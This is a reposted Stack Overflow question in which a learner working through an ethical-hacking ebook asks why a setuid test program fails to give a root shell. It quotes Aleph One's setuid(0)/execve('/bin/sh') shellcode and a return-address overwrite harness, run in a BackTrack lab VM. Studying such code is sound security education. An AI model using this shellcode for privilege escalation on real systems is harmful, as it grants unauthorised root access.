I have this code .... Ethical Hacking

Posted by kmitnick on Stack Overflow See other posts from Stack Overflow or by kmitnick
Published on 2010-05-07T16:49:25Z Indexed on 2010/05/07 16:58 UTC
Read the original article Hit count: 329

Filed under:
|
|

hello folks, I am following this EBook about Ethical Hacking, and I reached the Linux Exploit Chapter, this is the code with Aleph's 1 code.

//shellcode.c

char shellcode[] = //setuid(0) & Aleph1's famous shellcode, see ref.

"\x31\xc0\x31\xdb\xb0\x17\xcd\x80" //setuid(0) first

"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"

"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"

"\x80\xe8\xdc\xff\xff\xff/bin/sh";

int main() { //main function

int *ret; //ret pointer for manipulating saved return.

ret = (int *)&ret + 2; //setret to point to the saved return

//value on the stack.

(*ret) = (int)shellcode; //change the saved return value to the

//address of the shellcode, so it executes.

}

I give this the super user privileges, with

chmod u+s shellcode

as a super user, then go back to normal user with

su - normal_user

but when I run ./shellcode I should be a root user but instead I still be normal_user so any help?? btw I am working on BT4-Final, I turned off the ASLR, and running BT4 in VMWare...

© Stack Overflow or respective owner

Related posts about linux

Related posts about c